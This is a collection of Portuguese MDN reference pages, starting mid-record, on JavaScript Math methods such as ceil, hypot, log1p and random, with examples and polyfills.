50\nMath.round10(-55.55, -1); // -55.5\nMath.round10(-55.551, -1); // -55.6\nMath.round10(-55, 1); // -50\nMath.round10(-55.1, 1); // -60\n// Floor\nMath.floor10(55.59, -1); // 55.5\nMath.floor10(59, 1); // 50\nMath.floor10(-55.51, -1); // -55.6\nMath.floor10(-51, 1); // -60\n// Ceil\nMath.ceil10(55.51, -1); // 55.6\nMath.ceil10(51, 1); // 60\nMath.ceil10(-55.59, -1); // -55.5\nMath.ceil10(-59, 1); // -50\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.floor |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* The `Math` object it belongs to.\n* `Math.abs`\n* `Math.ceil()`\n* `Math.round()`"}
{"title":"Math.ceil() - JavaScript","text":"Math.ceil()\n===========\n\nResumo\n------\n\n`A função Math.ceil(x)` retorna o menor número inteiro maior ou igual a \"x\".\n\nSintaxe\n-------\n```\n\nMath.ceil(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor de retorno\n\nO menor inteiro maior ou igual ao número fornecido.\n\nDescrição\n---------\n\nPor `ceil` ser um método estático de `Math`, você sempre usará como `Math.ceil()`, e não como um método do objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Usando `Math.ceil()`\n\nO exemplo a seguir mostra um exemplo de uso de `Math.ceil()`.\n\n\n```js\nMath.ceil(0.95); // 1\nMath.ceil(4); // 4\nMath.ceil(7.004); // 8\nMath.ceil(-0.95); // -0\nMath.ceil(-4); // -4\nMath.ceil(-7.004); // -7\n```\n\n### Ajuste decimal\n\n\n```js\n// Closure\n(function () {\n  /\\*\\*\n \\* Decimal adjustment of a number.\n \\*\n \\* @param {String} type The type of adjustment.\n \\* @param {Number} value The number.\n \\* @param {Integer} exp The exponent (the 10 logarithm of the adjustment base).\n \\* @returns {Number} The adjusted value.\n \\*/\n  function decimalAdjust(type, value, exp) {\n    // If the exp is undefined or zero...\n    if (typeof exp === \"undefined\" || +exp === 0) {\n      return Math[type](value);\n    }\n    value = +value;\n    exp = +exp;\n    // If the value is not a number or the exp is not an integer...\n    if (isNaN(value) || !(typeof exp === \"number\" && exp % 1 === 0)) {\n      return NaN;\n    }\n    // Shift\n    value = value.toString().split(\"e\");\n    value = Math[type](+(value[0] + \"e\" + (value[1] ? +value[1] - exp : -exp)));\n    // Shift back\n    value = value.toString().split(\"e\");\n    return +(value[0] + \"e\" + (value[1] ? +value[1] + exp : exp));\n  }\n\n  // Decimal round\n  if (!Math.round10) {\n    Math.round10 = function (value, exp) {\n      return decimalAdjust(\"round\", value, exp);\n    };\n  }\n  // Decimal floor\n  if (!Math.floor10) {\n    Math.floor10 = function (value, exp) {\n      return decimalAdjust(\"floor\", value, exp);\n    };\n  }\n  // Decimal ceil\n  if (!Math.ceil10) {\n    Math.ceil10 = function (value, exp) {\n      return decimalAdjust(\"ceil\", value, exp);\n    };\n  }\n})();\n\n// Round\nMath.round10(55.55, -1); // 55.6\nMath.round10(55.549, -1); // 55.5\nMath.round10(55, 1); // 60\nMath.round10(54.9, 1); // 50\nMath.round10(-55.55, -1); // -55.5\nMath.round10(-55.551, -1); // -55.6\nMath.round10(-55, 1); // -50\nMath.round10(-55.1, 1); // -60\n// Floor\nMath.floor10(55.59, -1); // 55.5\nMath.floor10(59, 1); // 50\nMath.floor10(-55.51, -1); // -55.6\nMath.floor10(-51, 1); // -60\n// Ceil\nMath.ceil10(55.51, -1); // 55.6\nMath.ceil10(51, 1); // 60\nMath.ceil10(-55.59, -1); // -55.5\nMath.ceil10(-59, 1); // -50\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.ceil |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto `Math` pertence a.\n* `Math.abs()`\n* `Math.floor()`\n* `Math.round()`\n* `Math.sign()`\n* `Math.trunc()`"}
{"title":"Math.asinh() - JavaScript","text":"Math.asinh()\n============\n\nA função **`Math.asinh()`** retorna o arco-seno hiperbólico de um número, isto é:\n\n\n\nMath.asinh\n(\nx\n)\n\n=\narsinh\n(\nx\n)\n=\n the unique \n\ny\n\nsuch that\n\nsinh\n(\ny\n)\n=\nx\n\n\\mathtt{\\operatorname{Math.asinh}(x)} = \\operatorname{arsinh}(x) = \\text{o} ; y ; \\text{único tal que} ; \\sinh(y) = x\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nMath.asinh(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor de retorno\n\nO arco-seno hiperbólico de um dado número.\n\nDescrição\n---------\n\nComo `asinh()` é um métodos estático de `Math`, você deve sempre chamá-lo como `Math.asinh()`, ao invés de um método de um objeto `Math` que você criou (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.asinh()`\n\n\n```js\nMath.asinh(1); // 0.881373587019543\nMath.asinh(0); // 0\n```\n\nPolyfill\n--------\n\nComo uma solução simples a expressçao\n\n\n\\operatorname {arsinh} (x) = \\ln \\left(x + \\sqrt{x^{2} + 1} \\right)\n\n pode ser usada diretamente para uma emulação grosseira pela seguinte função:\n\n\n```js\nMath.asinh =\n  Math.asinh ||\n  function (x) {\n    if (x === -Infinity) {\n      return x;\n    } else {\n      return Math.log(x + Math.sqrt(x \\* x + 1));\n    }\n  };\n```\n\n\nApesar de formalmente correta, ela sofre de algumas problemas relacionadas à computação de ponto flutuante. Resultados precisos precisam de tratamento especial de positivos/negativos e argumentos pequenos/grandes como feitos por exemplo em em glibc ouGNU Scientific Library.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.asinh |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.acosh()`\n* `Math.atanh()`\n* `Math.cosh()`\n* `Math.sinh()`\n* `Math.tanh()`"}
{"title":"Math.log1p() - JavaScript","text":"Math.log1p()\n============\n\nA função **`Math.log1p()`** retorna o logaritmo natural (base `e`) de 1 + um número, isto é\n\n\n\n∀\nx\n>\n-\n1\n,\n\nMath.log1p\n(\nx\n)\n\n=\nln\n(\n1\n+\nx\n)\n\n\\forall x > -1, \\mathtt{\\operatorname{Math.log1p}(x)} = \\ln(1 + x)\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nMath.log1p(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor de retorno\n\nO logaritmo natural (base `e`) de **1** mais o número fornecido. Se o número for menor que **-1**, `NaN` será retornado.\n\nDescrição\n---------\n\nPara valores muito pequenos de *x*, adicionando 1 pode reduzir ou eliminar precisão. Valores double floats costuman te dar em torno de 15 digitos de precisão no JavaScript. 1 + 1e-15 = 1.000000000000001, porém, 1 + 1e-16 = 1.000000000000000 e portanto, exatamente 1.0 naquele resultado, porque os números que passam de 15 digitos são arredondados.\n\nQuando você calcula log(1 + x), você obterá um resultado muito perto de x, se x for um valor pequeno (isto é, porque eles são chamados logaritmos 'naturais'). Se você calcular Math.log(1 + 1.1111111111e-15) você obterá uma resposta perto de1.1111111111e-15. Ao invés, você vai acabar obtendo o logaritmo de 1.00000000000000111022 (o arrendondamento é feito em binário, portanto, as vezes isso pode parecer estranho), então você obterá o resultado 1.11022...e-15, com somente 3 digitos corretos. Se, ao invés, você calcular Math.log1p(1.1111111111e-15) você terá um retorno mais preciso de 1.1111111110999995e-15 com 15 digitos corretos de precisão (na verdade 16 nesse caso).\n\nSe o valor de `x` for menor que -1, o valor retornado será sempre `NaN`.\n\nPor conta do `log1p()` ser um metódo estático de `Math`, você sempre chamará como `Math.log1p()`, ao invés de chamar como um método de um objeto `Math` que você tenha criado (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.log1p()`\n\n\n```js\nMath.log1p(1); // 0.6931471805599453\nMath.log1p(0); // 0\nMath.log1p(-1); // -Infinity\nMath.log1p(-2); // NaN\n```\n\nPolyfill\n--------\n\nIsto pode ser implementado com a seguinte função:\n\n\n```js\nMath.log1p =\n  Math.log1p ||\n  function (x) {\n    return Math.log(1 + x);\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.log1p |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log()`\n* `Math.expm1()`\n* `Math.log10()`\n* `Math.log2()`\n* `Math.pow()`"}
{"title":"Math.exp() - JavaScript","text":"Math.exp()\n==========\n\nSumário\n-------\n\nA função **`Math.exp()`** retorna `ex`, onde `x` é o argumento, e `e` é a Constante de Euler, a base dos logaritmos naturais\n\nSíntaxe\n-------\n\n\n```js\nMath.exp(x);\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\nDescrição\n---------\n\nPelo fato de `exp` ser um método estático de `Math`, você sempre utiliza-o como `Math.exp()`, não como um método do objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Exemplo: Usando `Math.exp`\n\n\n```js\nMath.exp(-1); // 0.36787944117144233\nMath.exp(0); // 1\nMath.exp(1); // 2.718281828459045\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.exp |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O objeto `Math` ao qual ele pertence.\n* `Math.E`\n* `Math.log()`\n* `Math.pow()`"}
{"title":"Math.SQRT2 - JavaScript","text":"Math.SQRT2\n==========\n\nA propriedade **`Math.SQRT2`** representa a raiz quadrada de 2, que é aproximadamente 1.414:\n\n\nMath.SQRT2\n\n=\n\n2\n\n≈\n1.414\n\n\\mathtt{\\mi{Math.SQRT2}} = \\sqrt{2} \\approx 1.414\n\n\n\n| Property attributes of `Math.SQRT2` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nPor `SQRT2` ser uma propriedade estática de `Math`, deve-se sempre usá-la como `Math.SQRT2`, e não como propriedade de um objeto `Math` criado por você (`Math` não é um construtor).\n\nExamples\n--------\n\n### Usando `Math.SQRT2`\n\nA função a seguir retorna a raiz quadrada de 2:\n\n\n```js\nfunction getRoot2() {\n  return Math.SQRT2;\n}\n\ngetRoot2(); // 1.4142135623730951\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.sqrt2 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.pow()`\n* `Math.sqrt()`"}
{"title":"Math.tanh() - JavaScript","text":"Math.tanh()\n===========\n\nA função **`Math.tanh()`** retorna a tangente hiperbólica de um número, que é:\n\n\n\ntanh\nx\n=\n\nsinh\nx\n\ncosh\nx\n\n=\n\ne\nx\n\n-\n\ne\n\n-\nx\n\n\ne\nx\n\n+\n\ne\n\n-\nx\n\n=\n\ne\n\n2\nx\n\n-\n1\n\ne\n\n2\nx\n\n+\n1\n\n\\tanh x = \\frac{\\sinh x}{\\cosh x} = \\frac {e^x - e^{-x}} {e^x + e^{-x}} = \\frac{e^{2x} - 1}{e^{2x}+1}\n\nExperimente\n-----------\n\nSyntax\n------\n```\n\nMath.tanh(x)\n```\n\n### Parameters\n\n`x`\n\nUm número.\n\n### Return value\n\nUma tangente hiperbólica de um número dado.\n\nDescription\n-----------\n\nBecause `tanh()` is a static method of `Math`, you always use it as `Math.tanh()`, rather than as a method of a `Math` object you created (`Math` is not a constructor).\n\nExamples\n--------\n\n### Using `Math.tanh()`\n\n\n```js\nMath.tanh(0); // 0\nMath.tanh(Infinity); // 1\nMath.tanh(1); // 0.7615941559557649\n```\n\nPolyfill\n--------\n\nThis can be emulated with the help of the `Math.exp()` function:\n\n\n```js\nMath.tanh =\n  Math.tanh ||\n  function (x) {\n    var a = Math.exp(+x),\n      b = Math.exp(-x);\n    return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b);\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.tanh |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Math.acosh()`\n* `Math.asinh()`\n* `Math.atanh()`\n* `Math.cosh()`\n* `Math.sinh()`"}
{"title":"Math.hypot() - JavaScript","text":"Math.hypot()\n============\n\nA função **`Math.hypot()`** retorna a raiz quadrada do somátorio do quadrado de seus parâmetros, ou seja\n\n\n\nMath.hypot\n(\n\nv\n1\n\n,\n\nv\n2\n\n,\n…\n,\n\nv\nn\n\n)\n\n=\n\n∑\n\ni\n=\n1\n\nn\n\nv\ni\n2\n\n=\n\nv\n1\n2\n\n+\n\nv\n2\n2\n\n+\n…\n+\n\nv\nn\n2\n\n\\mathtt{\\operatorname{Math.hypot}(v\n\n*1, v\\_2, \\dots, v\\_n)} = \\sqrt{\\sum*{i=1}^n v\\_i^2} = \\sqrt{v\\_1^2 + v\\_2^2 + \\dots + v\\_n^2}\n\nSintaxe\n-------\n```\n\nMath.hypot([value1[, value2[, ...]]])\n```\n\n### Parâmetros\n\n`value1, value2, ...`\n\nNúmeros.\n\n### Valor retornado\n\nA raiz quadrada do somátorio do quadrado dos parâmetros recebidos. Se um ou mais argumentos não puderem ser convertidos para um número, `NaN` é retornado.\n\nDescrição\n---------\n\nPara calcular a hipotenusa de um triângulo retângulo, ou o módulo de um número complexo, é usada a fórmula `Math.sqrt(v1*v1 + v2*v2)` (\n\n\nv\n\n1\n2\n\n+\nv\n\n2\n2\n\n\\sqrt{v1^2 + v2^2}\n\n) onde v1 e v2 são, ou os lados de um triângulo, ou a parte real e a imaginário de um número complexo. Para calcular a distância entre duas ou mais dimensões, basta adicionar mais exponenciações dentro da raiz quadrada, por exemplo `Math.sqrt(v1*v1 + v2*v2 + v3*v3 + v4*v4)` (\n\n\nv\n\n1\n2\n\n+\nv\n\n2\n2\n\n+\nv\n\n3\n2\n\n+\nv\n\n4\n2\n\n\\sqrt{v1^2 + v2^2 + v3^2 + v4^2}\n\n).\n\nA função Math.hypot() torna esta tarefa mais rápida e mais fácil, basta executar `Math.hypot(v1, v2)` , or `Math.hypot(v1, v2, v3, v4, ...)` .\n\nDessa maneira também se evita problemas se a magnitude dos seus número for muito grande. O maio número que se pode representar em um *double float* em JavasScript é `Number.MAX_VALUE` = 1.797...e+308. Se os seu números são maior que 1e154, calcular o quadrado deles resultará em `Infinity`, estragando os seus resultados. Por exemplo, `Math.sqrt(1e200*1e200 + 1e200*1e200) = Infinity`. Se você usar a função `Math.hypot()`, você receberá uma resposta aceitável: `Math.hypot(1e200, 1e200) = 1.4142...e+200`. Isto também é verdade para número muito pequenos. `Math.sqrt(1e-200*1e-200 + 1e-200*1e-200) = 0`, mas `Math.hypot(1e-200, 1e-200) = 1.4142...e-200` é uma boa resposta.\n\n**Nota:** Por `hypot()` ser um método estático de `Math`, deve-se sempre usá-lo como `Math.hypot()`, e não como um método de um objeto `Math` que você criou.\n\nSe nenhum parâmetro for passado, o resultado é +0.\n\nSe um ou mais parâmetros não puderem ser convertidos para um número, o resultado será `NaN`.\n\nCom apenas um parâmetro, `Math.hypot()` se comporta como `Math.abs()`.\n\nExamples\n--------\n\n### Usando `Math.hypot()`\n\n\n```js\nMath.hypot(3, 4); // 5\nMath.hypot(3, 4, 5); // 7.0710678118654755\nMath.hypot(); // 0\nMath.hypot(NaN); // NaN\nMath.hypot(3, 4, \"foo\"); // NaN, +'foo' => NaN\nMath.hypot(3, 4, \"5\"); // 7.0710678118654755, +'5' => 5\nMath.hypot(-3); // 3, the same as Math.abs(-3)\n```\n\nPolyfill\n--------\n\nO comportamento de `Math.hypot()` pode ser emulado com a seguinte função:\n\n\n```js\nMath.hypot =\n  Math.hypot ||\n  function () {\n    var y = 0;\n    var length = arguments.length;\n\n    for (var i = 0; i < length; i++) {\n      if (arguments[i] === Infinity || arguments[i] === -Infinity) {\n        return Infinity;\n      }\n      y += arguments[i] \\* arguments[i];\n    }\n    return Math.sqrt(y);\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.hypot |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Math.abs()`\n* `Math.pow()`\n* `Math.sqrt()`"}
{"title":"Math.sinh() - JavaScript","text":"Math.sinh()\n===========\n\nA função **`Math.sinh()`** retorna o seno hiperbólico de um número, que pode ser expresso usando a constante e:\n\n\nMath.sinh(x)\n\n=\n\ne\nx\n\n-\n\ne\n\n-\nx\n\n2\n\n\\mathtt{\\operatorname{Math.sinh(x)}} = \\frac{e^x - e^{-x}}{2}\n\nExperimente\n-----------\n\nSintáxe\n-------\n```\n\nMath.sinh(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor retornado\n\nO seno hiperbólico do número dado.\n\nDescrição\n---------\n\nComo `sinh()` é um método estático de `Math`, você sempre deve usar como `Math.sinh()`, ao invés de um novo objeto instanciado `Math` (`Math` não é um construtor).\n\nExemplos\n--------\n\n### Usando `Math.sinh()`\n\n\n```js\nMath.sinh(0); // 0\nMath.sinh(1); // 1.1752011936438014\n```\n\nPolyfill\n--------\n\nIsso pode ser emulado com a ajuda da função `Math.exp()`:\n\n\n```js\nMath.sinh =\n  Math.sinh ||\n  function (x) {\n    return (Math.exp(x) - Math.exp(-x)) / 2;\n  };\n```\n\n\nou usando apenas uma chamada para a função `Math.exp()`:\n\n\n```js\nMath.sinh =\n  Math.sinh ||\n  function (x) {\n    var y = Math.exp(x);\n    return (y - 1 / y) / 2;\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.sinh |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.acosh()`\n* `Math.asinh()`\n* `Math.atanh()`\n* `Math.cosh()`\n* `Math.tanh()`"}
{"title":"Math.log2() - JavaScript","text":"Math.log2()\n===========\n\nA função **`Math.log2()`** retorna o logaritmo de base 2 de um número, que é\n\n\n\n∀\nx\n>\n0\n,\n\nMath.log2\n(\nx\n)\n\n=\n\nlog\n2\n\n(\nx\n)\n=\nthe unique\n\ny\n\nsuch that\n\n2\ny\n\n=\nx\n\n\\forall x > 0, \\mathtt{\\operatorname{Math.log2}(x)} = \\log\\_2(x) = \\text{the unique} ; y ; \\text{such that} ; 2^y = x\n\nSintaxe\n-------\n```\n\nMath.log2(x)\n```\n\n### Parâmetros\n\n`x` Um número.\n\n### Retorno\n\nO logaritmo de base 2 de um número. Caso o número seja negativo, `NaN` é retornado.\n\nDescrição\n---------\n\nCaso o valor de `x` seja menor que 0, então o retorno será sempre `NaN`.\n\nPor `log2()` ser um método estático de `Math`, você sempre o usará como `Math.log2()`, ao invés de usá-lo como método de um objeto `Math` criado (`Math` não é um construtor).\n\nEsta função é equivalente a `Math.log(x)/Math.log(2)`. Para log2(e) use a constante `Math.LOG2E` que é 1 / `Math.LN2`.\n\nExemplos\n--------\n\n### Usando `Math.log2()`\n\n\n```js\nMath.log2(3); // 1.584962500721156\nMath.log2(2); // 1\nMath.log2(1); // 0\nMath.log2(0); // -Infinity\nMath.log2(-2); // NaN\nMath.log2(1024); // 10\n```\n\nPolyfill\n--------\n\nEste Polyfill simula a função `Math.log2`. Note que é retornado um valor não prcesiso Observe que é retornado valores imprecisos em algumas entradas (like 1 << 29), envolva em `Math.round()` se estiver trabalhando com máscaras de bits.\n\n\n```js\nMath.log2 =\n  Math.log2 ||\n  function (x) {\n    return Math.log(x) \\* Math.LOG2E;\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.log2 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.exp()`\n* `Math.log()`\n* `Math.log10()`\n* `Math.log1p()`\n* `Math.pow()`"}
{"title":"Math.expm1() - JavaScript","text":"Math.expm1()\n============\n\nThe **`Math.expm1()`** function returns `ex - 1`, where `x` is the argument, and e the base of the natural logarithms.\n\nExperimente\n-----------\n\nSyntax\n------\n```\n\nMath.expm1(x)\n```\n\n### Parameters\n\n`x`\n\nUm número.\n\n### Return value\n\nUm número representando `ex - 1`, onde `e` é Euler's number e `x` ié o argumento.\n\nDescription\n-----------\n\nPorque `expm1()` é um método estático de is `Math`, você sempre o usurá como `Math.expm1()`, do que como um método de um objeto `Math` que você criou (`Math` não é um contrutor).\n\nPolyfill\n--------\n\nThis can be emulated with the help of the `Math.exp()` function:\n\n\n```js\nMath.expm1 =\n  Math.expm1 ||\n  function (x) {\n    return Math.exp(x) - 1;\n  };\n```\n\nExamples\n--------\n\n### Using `Math.expm1()`\n\n\n```js\nMath.expm1(-1); // -0.6321205588285577\nMath.expm1(0); // 0\nMath.expm1(1); // 1.718281828459045\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.expm1 |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* `Math.E`\n* `Math.exp()`\n* `Math.log()`\n* `Math.log10()`\n* `Math.log1p()`\n* `Math.log2()`\n* `Math.pow()`"}
{"title":"Math.atanh() - JavaScript","text":"Math.atanh()\n============\n\nA função **`Math.atanh()`** retorna o arco tangente hiperbólico de um número, onde\n\n\n\n∀\nx\n∊\n\n(\n\n-\n1\n,\n1\n\n)\n\n,\n\nMath.atanh\n(\nx\n)\n\n=\narctanh\n(\nx\n)\n=\n the unique \n\ny\n\nsuch that\n\ntanh\n(\ny\n)\n=\nx\n\n\\forall x \\in \\left( -1, 1 \\right), \\mathtt{\\operatorname{Math.atanh}(x)} = \\operatorname{arctanh}(x) = \\text{ the unique } ; y ; \\text{such that} ; \\tanh(y) = x\n\nSintaxe\n-------\n```\n\nMath.atanh(x)\n```\n\n### Parâmetros\n\n`x`\n\nO número.\n\n### Valor retornado\n\nO arco tangente hiperbólico do parâmetro recebido.\n\nDescrição\n---------\n\nPor `atanh()` ser um método estático de `Math`, deve-se sempre usá-lo como `Math.atanh()`, e não como um método de um objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Usando `Math.atanh()`\n\n\n```js\nMath.atanh(-2); // NaN\nMath.atanh(-1); // -Infinity\nMath.atanh(0); // 0\nMath.atanh(0.5); // 0.5493061443340548\nMath.atanh(1); // Infinity\nMath.atanh(2); // NaN\n```\n\n\nFor values greater than 1 or less than -1, `NaN` is returned.\n\nPara valores menores que -1 ou maiores que 1, `NaN` é retornado.\n\nPolyfill\n--------\n\nPara \n\n\n|\nx\n|\n\n<\n1\n\n\\left|x\\right| < 1\n\n, temos \n\n\nartanh\n(\nx\n)\n=\n\n1\n2\n\nln\n\n(\n\n1\n+\nx\n\n1\n-\nx\n\n)\n\n\\operatorname {artanh} (x) = \\frac{1}{2}\\ln \\left( \\frac{1 + x}{1 - x} \\right)\n\n, esse comportamento pode ser emulado com a seguinte função:\n\n\n```js\nMath.atanh =\n  Math.atanh ||\n  function (x) {\n    return Math.log((1 + x) / (1 - x)) / 2;\n  };\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.atanh |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.acosh()`\n* `Math.asinh()`\n* `Math.cosh()`\n* `Math.sinh()`\n* `Math.tanh()`"}
{"title":"Math.asin() - JavaScript","text":"Math.asin()\n===========\n\nA função Math.asin() retorna o arco seno (em radianos) de um número, onde\n\n\n\n∀\nx\n∊\n[\n\n-\n1\n\n;\n1\n]\n,\n\nMath.asin\n(\nx\n)\n\n=\narcsin\n(\nx\n)\n=o único valor\n\n\ny\n∊\n\n[\n\n-\n\nπ\n2\n\n;\n\nπ\n2\n\n]\n\ntal que sin\n(\ny\n)\n=\nx\n\n\\forall x \\in [{-1};1],;\\mathtt{\\operatorname{Math.asin}(x)} = \\arcsin(x) = \\text{ the unique } ; y \\in \\left[-\\frac{\\pi}{2}; \\frac{\\pi}{2}\\right] , \\text{such that} ; \\sin(y) = x\n\nSintaxe\n-------\n```\n\nMath.asin(x)\n```\n\n### Parâmetros\n\n`x`\n\nUm número.\n\n### Valor retornado\n\nO arco seno (em radianos) do parâmetro recebido se o parâmetro estiver entre **-1** e **1**; senão, `NaN`.\n\nDescrição\n---------\n\nO método `Math.asin()` retorna um valor numérico entre \n\n\n-\n\nπ\n2\n\n-\\frac{\\pi}{2}\n\n e \n\n\nπ\n2\n\n\\frac{\\pi}{2}\n\n radianos para todo `x` entre -1 e 1. Se o valor de `x` estiver fora deste intervalo `NaN` é retornado.\n\nPor `asin()` ser um método estático de `Math`, deve-se sempre usá-lo como `Math.asin()`, e não como um método de um objeto `Math` que você criou.\n\nExemplos\n--------\n\n### Usando `Math.asin()`\n\n\n```js\nMath.asin(-2); // NaN\nMath.asin(-1); // -1.5707963267948966 (-pi/2)\nMath.asin(0); // 0\nMath.asin(0.5); // 0.5235987755982989\nMath.asin(1); // 1.5707963267948966 (pi/2)\nMath.asin(2); // NaN\n```\n\n\nPara valores menores que -1 ou maiores que 1, `Math.asin()` retorna `NaN`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.asin |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Math.acos()`\n* `Math.atan()`\n* `Math.atan2()`\n* `Math.cos()`\n* `Math.sin()`\n* `Math.tan()`"}
{"title":"Math.random() - JavaScript","text":"Math.random()\n=============\n\nSumário\n-------\n\nA função **`Math.random()`** retorna um número pseudo-aleatório no intervalo `[0, 1[`, ou seja, de 0 (inclusivo) até, mas não incluindo, 1 (exclusivo), que depois você pode dimensionar para um intervalo desejado. A implementação seleciona uma semente para o algoritmo de geração de números aleatórios; esta semente não pode ser escolhida ou reatribuída.\n\n**Nota:** **`Math.random()`** não gera números criptograficamente seguros. Não a use para nada relacionado a segurança. Use a API Web Crypto, mais precisamente o método `window.crypto.getRandomValues()`.\n\nSintaxe\n-------\n```\n\nMath.random()\n```\n\n### Valor retornado\n\nUm número pseudo-aleatório entre 0 (inclusivo) e 1 (exclusivo).\n\nExemplos\n--------\n\nNote que os números em JavaScript são pontos flutuantes que seguem o padrão IEEE 754 com comportamento *arredondar-para-o-par-mais-próximo*, os intervalos que serão citados nos exemplos a seguir (exceto o exemplo do `Math.random()`), não são exatas. Se limites extremamente grandes forem escolhidos (253 ou maior), em raros casos é possível que o limite superior (que seria exclusivo) seja retornado.\n\n### Gerando um número aleatório entre 0 (inclusivo) e 1 (exclusivo)\n\n\n```js\nfunction getRandom() {\n  return Math.random();\n}\n```\n\n### Gerando um número aleatório entre dois valores\n\nEste exemplo retorna um número entre dois valores definidos. O valor retornado será maior ou igual a `min`, e menor que `max`.\n\n\n```js\nfunction getRandomArbitrary(min, max) {\n  return Math.random() \\* (max - min) + min;\n}\n```\n\n### Gerando um número inteiro aleatório entre dois valores\n\nEste exemplo retorna um número *inteiro* entre dois valores definidos. O valor não poderá ser menor que `min` (ou do próximo inteiro maior que `min`, caso `min` não seja inteiro), e será menor (mas não igual) a `max`.\n\n\n```js\nfunction getRandomInt(min, max) {\n  min = Math.ceil(min);\n  max = Math.floor(max);\n  return Math.floor(Math.random() \\* (max - min) + min);\n}\n```\n\n\n**Nota:** Pode ser tentandor usar `Math.round()` para arredondar `min` e `max`, mas dessa maneira a aleatoriedade dos números seguiria uma distribuição não-uniforme, que talvez não seja o que você precisa.\n\n### Gerando um número inteiro aleatório entre dois valores, inclusive\n\nA função `getRandomInt()` acima tem intervalo com o valor mínimo incluído e o máximo excluído. Mas se você precisar que a função inclua, tanto o mínimo quanto o máximo, em seus resultados? A função `getRandomIntInclusive()` abaixo faz isso.\n\n\n```js\nfunction getRandomIntInclusive(min, max) {\n  min = Math.ceil(min);\n  max = Math.floor(max);\n  return Math.floor(Math.random() \\* (max - min + 1)) + min;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-math.random |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
